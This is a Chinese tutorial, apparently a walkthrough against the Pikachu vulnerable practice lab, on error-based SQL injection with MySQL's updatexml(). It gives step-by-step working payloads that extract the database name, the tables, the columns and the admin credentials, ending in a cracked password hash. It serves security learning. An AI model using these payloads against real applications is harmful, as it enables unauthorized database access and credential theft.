7.1.SQL注入-基于函数报错的方式来利用updatexml()

发布于:2024-07-02 ⋅ 阅读:(147) ⋅ 点赞:(0)

基于函数报错的方式来进行利用-字符型(本页updatexml())

前提条件是后台数据库没有屏蔽数据库语法报错信息
在这里插入图片描述

updatexml()方法详解
在这里插入图片描述

注释:
第一个参数,意思就是xml文档的名称
第二个参数,意思就是定位到xml文档中指定的某一个位置的更新
第三个参数,意思就是将文档中指定某一个位置的内容进行替换
基于函数报错的payload语句:updatexml()

kobe' and updatexml(1,version(),0)#

发现报错显示一半’.53’
在这里插入图片描述

~(波浪线转化十六进制为:0x7e)
函数concat()意思为:括号里面的字符串进行拼接,为了将报错显示全面
limit 0,1 意思为:第一个数据为第几个,第二数字为显示多少行
编写payload语句进行爆出数据库版本

kobe' and updatexml(1,concat(0x7e,version()),0)#

爆出数据库版本
在这里插入图片描述

爆出数据库名

kobe' and updatexml(1,concat(0x7e,database()),0)#

显示结果,库名:pikachu
在这里插入图片描述

报错只能一次显示一行

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu')),0)#

报错结果如下
在这里插入图片描述

可以使用limit一次一次进行获取表名

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0)#

获取users表名
在这里插入图片描述

获取表名之后,在获取列名,思路一致

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#

获取出用户名字段
在这里插入图片描述

获取密码字段
在这里插入图片描述

获取到列名称后,在来获取数据

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

获取到高级用户权限admin
在这里插入图片描述

再来获取密码

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

获取密码md5值,可以解析出来密码为:123456
在这里插入图片描述

获取权限完毕